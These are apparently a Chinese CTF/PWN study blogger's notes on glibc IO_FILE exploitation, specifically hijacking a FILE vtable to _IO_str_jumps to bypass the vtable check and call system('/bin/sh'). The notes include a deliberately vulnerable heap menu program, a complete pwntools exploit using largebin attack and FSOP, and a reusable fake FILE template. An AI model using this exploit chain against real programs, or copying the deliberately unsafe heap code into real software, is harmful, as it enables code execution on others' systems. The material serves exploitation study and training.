【我的 PWN 学习手札】IO_FILE 之 劫持vtable到_IO_str_jumps
一、针对vtable的合法性检查
glibc-2.24
及以后,针对vtable
的篡改攻击,增添了对vtable
合法性的检查,具体表现为宏IO_validate_vtable
:
IO_validate_vtable
宏的定义:
也即,vtable
的数值需要限定在__stop__libc_IO_vtables
~__start__libc_IO_vtables
范围内。因此,对于vtable
的劫持,不能到任意地址。不过好在,_IO_str_jumps
和_IO_wstr_jumps
都在这个合法范围内,劫持vtable
到这两个结构体上,是符合vtable
的合法性检查的。但是为什么是这两个结构体?
二、_IO_str_jumps 和 _IO_wstr_jumps
首先,vtable
原本的类型是__typeof__((struct _IO_FILE_plus{}).vtable)
也即_IO_jump_t *
类型。而_IO_str_jumps
和_IO_wstr_jumps
也是_IO_jump_t
类型,但是代表的函数指针表不同。因此将 *vtable
填充成这两个结构体,是合法的。接下来看看这两个函数表,着重关注_IO_str_finish函数指针:
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
---------------------------------------------------------------
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
---------------------------------------------------------------
typedef void *(*_IO_alloc_type) (_IO_size_t);
typedef void (*_IO_free_type) (void*);
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
struct _IO_streambuf
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
这里我们注意到,参数fp
的类型原本是_IO_FILE*
,在if
语句中,被强制类型转换为_IO_strfile*
,并调用了_s.__free_buffer(fp->_IO_buf_base)
。_IO_wstr_jumps
和_IO_str_jumps
内部过程完全一致。至此,利用方法就很明显了。
三、利用过程
largebin attack
将IO_FILE
劫持到堆上,即fake_file
。fake_file
的相关成员设置好,满足触发链上的各种条件,包括设置fp->_IO_buf_base="/bin/sh\x00"
- 在
IO_FILE
类型的fake_file
之后附加system
函数指针,为下一阶段调用_s.__free_buffer
类型混淆作准备 fake_file
的vtable
指向_IO_str_jumps
偏移offset
的位置,使得下一个函数触发到_IO_default_finish
- 触发
_s.__free_buffer(fp->_IO_buf_base)
,实际上触发system("/bin/sh\x00")
四、无导出符号的_IO_str_jumps地址定位方法
-
在众多
vtable
表中,都有_IO_str_underflow
函数指针 -
_IO_str_jumps
表在_IO_file_jumps
表之后,相邻 -
从
_IO_file_jumps
表中存储_IO_str_underflow
的地址之后开始找的下一个存储_IO_str_underflow
函数的表就是_IO_str_jumps
。
from bisect import bisect_left
IO_file_jumps = libc.symbols['_IO_file_jumps']
IO_str_underflow = libc.symbols['_IO_str_underflow'] - libc.address
IO_str_underflow_ptr = list(libc.search(p64(IO_str_underflow)))
IO_str_jumps = IO_str_underflow_ptr[bisect_left(IO_str_underflow_ptr, IO_file_jumps + 0x20)] - 0x20
五、模板与例题
1、pwn.c
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
2、exp.py
from pwn import *
from bisect import bisect_left
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context(arch='amd64',log_level='debug',os='linux')
def add(index, size):
io.sendafter(b"choice:", b"1")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"size:\n", str(size).encode())
def delete(index):
io.sendafter(b"choice:", b"2")
io.sendafter(b"index:\n", str(index).encode())
def edit(index, content):
io.sendafter(b"choice:", b"3")
io.sendafter(b"index:\n", str(index).encode())
io.sendafter(b"length:", str(len(content)).encode())
io.sendafter(b"content:", content)
def show(index):
io.sendafter(b"choice:", b"4")
io.sendafter(b"index:\n", str(index).encode())
io=process("./pwn")
add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x18)
delete(2)
show(2)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x3afca0
success(hex(libc.address))
add(10,0x500)
# 定位表_IO_str_jumps
_IO_file_jumps=libc.sym['_IO_file_jumps']
_IO_str_underflow=libc.sym['_IO_str_underflow'] - libc.address
_IO_str_underflow_list=list(libc.search(p64(_IO_str_underflow)))
_IO_str_jumps=_IO_str_underflow_list[bisect_left(_IO_str_underflow_list,_IO_file_jumps+0x20)]-0x20
success("_IO_str_jumps: "+hex(_IO_str_jumps))
# gdb.attach(io)
# pause()
fake_file = b""
fake_file += b"/bin/sh\x00" # _flags, an magic number
fake_file += p64(0) # _IO_read_ptr
# 上述是chunk的控制头部字段,控制不了
fake_file = b""
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['stdout']-0x20) # _IO_write_ptr # largebin chunk next_bk_size
fake_file += p64(0) # _IO_write_end
fake_file += p64(libc.search("/bin/sh\x00").__next__()) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00') # adjust to vtable
fake_file += p64(_IO_str_jumps-0x28) # fake vtable
fake_file += p64(0) #_allocate_buffer
fake_file += p64(libc.sym['system']) #_free_buffer
edit(2,fake_file)
delete(0)
add(10,0x20)
io.interactive()
3、fake_file板子
fake_file = b""
fake_file += b"/bin/sh\x00" # _flags, an magic number
fake_file += p64(0) # _IO_read_ptr
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8, b'\x00') # adjust to vtable
fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10) # fake vtable